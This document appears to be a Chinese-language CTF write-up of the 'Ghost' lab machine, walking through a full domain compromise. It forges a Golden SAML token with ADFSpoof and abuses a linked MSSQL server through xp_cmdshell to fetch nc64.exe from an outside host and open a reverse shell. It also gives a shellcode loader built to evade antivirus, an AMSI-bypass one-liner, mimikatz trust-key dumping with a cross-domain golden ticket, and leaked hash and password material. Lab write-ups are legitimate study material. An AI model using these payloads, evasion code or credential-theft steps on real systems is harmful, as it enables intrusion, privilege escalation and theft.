A command that encapsulates generating a generic SAML 2.0 security token. Use this module to generate security tokens for arbitrary federated applications that are using SAML 2.0. By reading the data returned by ADFSDump you should be able to generate a valid token for just about any federated application using this module.

--endpoint ENDPOINT: The recipient of the seucrity token. This should be a full URL.
--nameidformat URN: The value for the 'Format' attribute of the NameIdentifier tag. This should be a URN.
--nameid NAMEID: The NameIdentifier attribute value.
--rpidentifier IDENTIFIER: The Identifier of the relying party that is receiving the token.
--assertions ASSERTIONS: The assertions that the relying party is expecting. Use the claim rules output by ADFSDump to ascertain this. Should be a single-line (do not include newlines) XML string.
--config FILEPATH: A filepath to a JSON file containing the above arguments. Optional - use this if you don't want to supply everything over the command line.

首先是俩密钥文件 目标web 和类型,这个没啥好说的。

-b tsk.bin dkm.bin -s federation.ghost.htb saml2

比较重点的是后面这些

参考 https://nodauf.dev/p/practical-guide-for-golden-saml/ 给出的样例

1
2
3
4
5
6
7
8
python ADFSpoof.py -b EncryptedPfx.bin DkmKey.bin  -s adfs.pentest.lab  saml2 --endpoint https://www.contoso.com/adfs/ls
/SamlResponseServlet --nameidformat urn:oasis:names:tc:SAML:2.0:nameid-format:transient --nameid 'PENTEST\administrator' --rpidentifier Supervision --assertions '<Attribute Name="http://schemas.microsoft.com/ws/2008/06/identity/claims/windowsaccountname"><AttributeValue>PENTEST\administrator</AttributeValue></Attribute>'
````

首先是`endpoint`这个其实比较明确

```json
<samlp:Response ID="_42ef7f6b-b3c3-462f-8ac0-8233a276b4cd" Version="2.0" IssueInstant="2024-07-18T17:44:47.970Z" Destination="https://core.ghost.htb:8443/adfs/saml/postResponse" Consent="urn:oasis:names:tc:SAML:2.0:consent:unspecified" InResponseTo="_b1549c4f16e43df9221b90896189acf09d0d596b" xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol">

是发送目标的地址,基本一眼就能确认是 https://core.ghost.htb:8443/adfs/saml/postResponse

再是nameidformat这个官方说是个 This should be a URN.,特么saml里那么多urn我知道是哪个,所以去查了下 https://www.ibm.com/docs/en/security-verify?topic=provider-configuring-saml-subject-mapping-attributes

他这里nameid format包含在SAML Subject里

看了下作为主题的好像就是只有这一段

1
2
3
4
5
<Subject>
<SubjectConfirmation Method="urn:oasis:names:tc:SAML:2.0:cm:bearer">
<SubjectConfirmationData InResponseTo="_b1549c4f16e43df9221b90896189acf09d0d596b" NotOnOrAfter="2024-07-18T17:49:47.970Z" Recipient="https://core.ghost.htb:8443/adfs/saml/postResponse"/>
</SubjectConfirmation>
</Subject>

也就是urn:oasis:names:tc:SAML:2.0:cm:bearer

再就是nameid 这个没啥好说的格局上面的样例也不难看出这里就是要伪造的用户

就应当是ghost.htb\administrator

这个rpidentifier给我难住了

然后我找到了这个 https://journey.temenos.com/api/1811/fluent-api/com/avoka/tm/security/Saml2Parser.html

以及相应的wiki https://en.wikipedia.org/wiki/Service_provider_(SAML)

里面这段话

1
a system entity that issues authentication assertions in conjunction with an SSO profile of SAML.[OS 2] A relying party that consumes such assertions is called a SAML service provider (or simply service provider if the domain is understood).

通俗来说rpidentifier就是,哪个服务或者应用,要接收用户的认证令牌。

根据Saml2Parser.html的来看Audience代表着依赖方。

所以 <Audience>https://core.ghost.htb:8443</Audience>即是要接受我们令牌的服务或者说应用。

根据样例我们只取https://core.ghost.htb:8443即可

再就是assertions这个根据上面师傅的直接找<Attribute Name>

1
2
3
4
5
6
<Attribute Name="http://schemas.xmlsoap.org/ws/2005/05/identity/claims/upn">
<AttributeValue>justin.bradley@ghost.htb</AttributeValue>
</Attribute>
<Attribute Name="http://schemas.xmlsoap.org/claims/CommonName">
<AttributeValue>justin.bradley</AttributeValue>
</Attribute>

这里有俩,我试了下都可以,修改成目标user的然后就构成了,我和朋友的差异就是最后的assertions部分

1
python3 ADFSpoof.py -b tsk.bin dkm.bin -s federation.ghost.htb saml2 --endpoint https://core.ghost.htb:8443/adfs/saml/postResponse --nameidformat 'urn:oasis:names:tc:SAML:2.0:cm:bearer' --nameid 'ghost.htb\administrator' --rpidentifier  'https://core.ghost.htb:8443'  --assertions '<Attribute Name="http://schemas.xmlsoap.org/claims/CommonName"><AttributeValue>administrator</AttributeValue></Attribute>'

bp拦住替换掉输出的就可以了。

进来看到是个sql,可算遇到个能执行的sql了..

看了下没啥东西,然后发现有俩数据源

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
select * from master..sysservers


{
"srvid": 0,
"srvstatus": 1089,
"srvname": "DC01",
"srvproduct": "SQL Server",
"providername": "SQLOLEDB",
"datasource": "DC01",
"location": null,
"providerstring": null,
"schemadate": "2024-02-02T20:18:34.940Z",
"topologyx": 0,
"topologyy": 0,
"catalog": null,
"srvcollation": null,
"connecttimeout": 0,
"querytimeout": 0,
"srvnetname": "DC01 ",
"isremote": true,
"rpc": true,
"pub": false,
"sub": false,
"dist": false,
"dpub": false,
"rpcout": true,
"dataaccess": false,
"collationcompatible": false,
"system": false,
"useremotecollation": true,
"lazyschemavalidation": false,
"collation": null,
"nonsqlsub": false
},
{
"srvid": 1,
"srvstatus": 1249,
"srvname": "PRIMARY",
"srvproduct": "SQL Server",
"providername": "SQLOLEDB",
"datasource": "PRIMARY",
"location": null,
"providerstring": null,
"schemadate": "2024-02-02T20:49:58.430Z",
"topologyx": 0,
"topologyy": 0,
"catalog": null,
"srvcollation": null,
"connecttimeout": 0,
"querytimeout": 0,
"srvnetname": "PRIMARY ",
"isremote": false,
"rpc": true,
"pub": false,
"sub": false,
"dist": false,
"dpub": false,
"rpcout": true,
"dataaccess": true,
"collationcompatible": false,
"system": false,
"useremotecollation": true,
"lazyschemavalidation": false,
"collation": null,
"nonsqlsub": false
}

再看下有哪些用户可以登录

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
select * from openquery("PRIMARY", 'SELECT distinct b.name
FROM sys.server_permissions a
INNER JOIN sys.server_principals b
ON a.grantor_principal_id = b.principal_id
')
WHERE a.permission_name = IMPERSONATE

{
"recordsets": [
[
{
"name": "sa"
}
]
],
"recordset": [
{
"name": "sa"
}
],
"output": {},
"rowsAffected": [
1
]
}

我直接执行

1
SELECT * FROM OPENQUERY("PRIMARY", 'execute as login = ''sa'';exec sp_configure ''show advanced options'', 1; ;RECONFIGURE;EXEC sp_configure ''xp_cmdshell'',1;RECONFIGURE; exec xp_cmdshell ''dir c:''')

报错

1
2
3
4
5
6
7
RequestError: The metadata could not be determined because the statement 'select name,
convert(int, minimum) as minimum,
convert(int, maximum) as maximum,
convert' in procedure 'sp_configure' is not compatible with the statement 'select duplicate_options = name
from sys.configurations
where lower(name collate Latin1_Genera' in procedure 'sp_configure'.

说是不兼容..换个执行方式

1
EXECUTE('EXECUTE AS LOGIN = ''sa''; EXEC sp_configure ''show advanced options'',1; reconfigure;EXEC sp_configure ''xp_cmdshell'',1;reconfigure;EXEC xp_cmdshell ''curl 10.10.16.24''') AT "PRIMARY"

有反应,执行ok

传个nc进去弹shell

1
2
3
4
5
6
EXECUTE('EXECUTE AS LOGIN = ''sa''; EXEC sp_configure ''xp_cmdshell'',1;reconfigure;EXEC xp_cmdshell ''powershell.exe -c mkdir c:/test''') AT "PRIMARY"

EXECUTE('EXECUTE AS LOGIN = ''sa''; EXEC sp_configure ''xp_cmdshell'',1;reconfigure;EXEC xp_cmdshell ''powershell.exe -c curl 10.10.16.24/nc64.exe -o c:/test/nc64.exe''') AT "PRIMARY"


EXECUTE('EXECUTE AS LOGIN = ''sa''; EXEC sp_configure ''xp_cmdshell'',1;reconfigure;EXEC xp_cmdshell ''c:\test\nc64.exe 10.10.16.24 10086 -e powershell''') AT "PRIMARY"

进来之后发现是mssql用户

收集信息时候ipconfig看到当前主机是在corp.ghost.htb,这特么拿了这台还没结束。

priv有SeImpersonatePrivilege,可以考虑godpotato和efspotato,系统里有杀软,这里同事安利我用的efspotato.cs然后用里面的.net编译,可以绕过,我试了下做免杀绕过也是ok。

免杀我用分离的,朋友安利的shellcode生成项目donut-maker丢到bin文件,再写个基础的加载器就行,虽然可以过,但写的有些丑陋s,欢迎师傅们给出建议

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
#include <windows.h>

int main() {
HANDLE hFile = CreateFileA("tt.ico", GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (hFile == INVALID_HANDLE_VALUE) return 1;

DWORD fileSize = GetFileSize(hFile, NULL);
if (fileSize == INVALID_FILE_SIZE || fileSize == 0) {
CloseHandle(hFile);
return 1;
}

LPVOID shellcode = VirtualAlloc(NULL, fileSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (!shellcode) {
CloseHandle(hFile);
return 1;
}

DWORD bytesRead;
if (!ReadFile(hFile, shellcode, fileSize, &bytesRead, NULL) || bytesRead != fileSize) {
VirtualFree(shellcode, 0, MEM_RELEASE);
CloseHandle(hFile);
return 1;
}

CloseHandle(hFile);

((void(*)())shellcode)();

VirtualFree(shellcode, 0, MEM_RELEASE);
return 0;
}

选一个提权方式即可。

拿到system,先把这个b amsi给他杀了

这里方式比较多,我用的

1
$a=[Ref].Assembly.GetTypes();Foreach($b in $a) {if ($b.Name -like "*iUtils") {$c=$b}};$d=$c.GetFields('NonPublic,Static');Foreach($e in $d) {if ($e.Name -like "*iContext") {$f=$e}};$g=$f.GetValue($null);[IntPtr]$ptr=$g;[Int32[]]$buf = @(0);[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $ptr, 1)

很奇怪我打的时候可以关掉,写wp的时候杀不掉了,不知道为啥,也可能打的时候机器上的amsi被其他人关了..,多找几个项目肯定是能关的掉。

这里考虑到是在另一个子域里所以先看下关系

1
2
3
4
5
PS C:\users\administrator\downloads> nltest /domain_trusts
nltest /domain_trusts
List of domain trusts:
0: GHOST ghost.htb (NT 5) (Forest Tree Root) (Direct Outbound) (Direct Inbound) ( Attr: withinforest )
1: GHOST-CORP corp.ghost.htb (NT 5) (Forest: 0) (Primary Domain) (Native)

好吧还是要移动到根域

传个mimikatz,这东西我太久不用有些生疏

可以参考

https://fortynorthsecurity.com/blog/golden-tickets-and-external-sids-spread-the-compromise/

比较详细的可以看

https://www.cnblogs.com/zpchcbd/p/12215646.html

其中没法直接单纯用sid制作golden的主要原因也有讲,所以我们可以尝试伪造企业管理员的sids攻击。

1
2
3
这里不知道大家有没有想过为什么mimikatz生成的黄金票据无法进行跨域利用?

原因在mimikatz通过/sid选项接收SID号然后在尾部拼接RID号(512,519等),拼接之后生成的Enterprise Admins组的完整SID是S-1-5-21-237381039-3464644732-246105634-519,根据上面的知识是可以知道这个SID在整个域林中都是不存在的(原因是子域没有Enterprise Admins组),所以在子域中通过mimikatz生成的金票无法跨域或者是访问其他域的资源。

子域向主域在互信的情况下移动还是比较好理解的,这里选用sid伪造企业管理工作组

先获取当前域的sid 狗里没有所以手动获取一下

1
2
3
PS C:\users\administrator\downloads> Get-DomainSID
Get-DomainSID
S-1-5-21-2034262909-2733679486-179904498

lsadump::trust /patch拿一下可信密钥

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
PS C:\test> .\mimikatz.exe "lsadump::trust /patch" "exit"             
.\mimikatz.exe "lsadump::trust /patch" "exit"

.#####. mimikatz 2.2.0 (x64) #19041 Sep 19 2022 17:44:08
.## ^ ##. "A La Vie, A L'Amour" - (oe.eo)
## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
## \ / ## > https://blog.gentilkiwi.com/mimikatz
'## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com )
'#####' > https://pingcastle.com / https://mysmartlogon.com ***/

mimikatz(commandline) # lsadump::trust /patch

Current domain: CORP.GHOST.HTB (GHOST-CORP / S-1-5-21-2034262909-2733679486-179904498)

Domain: GHOST.HTB (GHOST / S-1-5-21-4084500788-938703357-3654145966)
[ In ] CORP.GHOST.HTB -> GHOST.HTB
* 7/20/2024 5:11:40 AM - CLEAR - 80 1e 01 39 aa 1b 60 b3 5e 6c 10 c1 a3 1c 0d 40 4a 68 57 bc ba 73 81 03 e8 15 ed af 04 bf c7 43 c7 9a 67 1e b2 3c 22 a0 3d 75 d6 14 05 d7 70 8a 93 bf e6 88 2b cc 9b 63 ed 23 88 fc 2f ec b8 a9 b4 8e f1 35 92 d9 40 74 0e 8e 78 46 e3 34 34 79 fb cb da 7b 51 9c a9 cb 89 5e b8 11 b8 bf eb f2 8d 57 37 f1 b0 05 05 62 61 70 a2 05 4a fb e5 f3 37 14 b2 41 69 22 5f 4b c4 56 af 69 a1 7e 14 24 22 f4 93 10 7d 16 85 9d 75 88 aa ac 6b 20 0f 7a 32 5e 11 88 dd 00 b0 e5 2f 42 73 8b 1a b1 1c 44 b1 4c e4 63 c9 2e 33 48 af f5 07 d6 b5 c6 24 db ca d1 3e 09 1c a6 d8 75 35 33 d8 1a d5 80 7b 65 6f 2f 70 94 53 9b cc 10 5f 39 78 c3 41 b2 83 c5 26 10 7d 0a 3f 0f a4 5b d1 f6 4f 76 ae e2 02 29 f5 20 7a d9 75 af 82 6c 0c 0b 77 f0 a3 13 55 c0
* aes256_hmac 30b8a74604fa558f0bee190055d854df610ef6d37289d60d9cf0af23be25c12b
* aes128_hmac bbbf82a51b08b5db2ad6b3ae78c19c64
* rc4_hmac_nt aa7224df1e0dfd4cd9d61694880cfdb1

aa7224df1e0dfd4cd9d61694880cfdb1就是

再去狗里看下主域的企业管理员sid
Object ID S-1-5-21-4084500788-938703357-3654145966-519

申请黄金票据即可,

1
2
.\mimikatz.exe "kerberos::golden /user:Administrator /rc4:1c58f82747679ec18596d3685767d28c /domain:corp.ghost.htb /sid:S-1-5-21-2034262909-2
733679486-179904498 /sids:S-1-5-21-4084500788-938703357-3654145966-519 /target:ghost.htb /ticket:test.kirbi" "exit"

申请cifs的st .\Rubeus.exe asktgs /service:cifs/DC01.ghost.htb /domain:ghost.htb /dc:DC01.GHOST.HTB /ticket:test.kirbi /ptt /nowrap

访问smb路径即可

1
2
3
4
$MACHINE.ACC:plain_password_hex:7fc866113c4bdd49ff5c5f7ff34197545f3a9f10af4ca12a28b97d13bbfa34d3e450191065071e3477c2690aafb0bae97bf380d25632
478a878d35c92fe318e518b4aef1d8ad3d951fce7c564fdac433050eff0f986359a98fffc0a4e6b4f501835969825fd10a45e1d8bef203ec5ee906ed6e52d01b65061cbc7774
e58eda14531bbcdef7bbe1a88e42ef48df4ce44e124c9db01625018b86660f7c9bbb34a8e24640ba7f4c59c8594f95bd9f43bdc7d1d5de1036f46c20aeeb9d2c5c87c92ef518
2b5b55e59ddb25c3bff0b88545d3259c4c6ea03db9159f27ad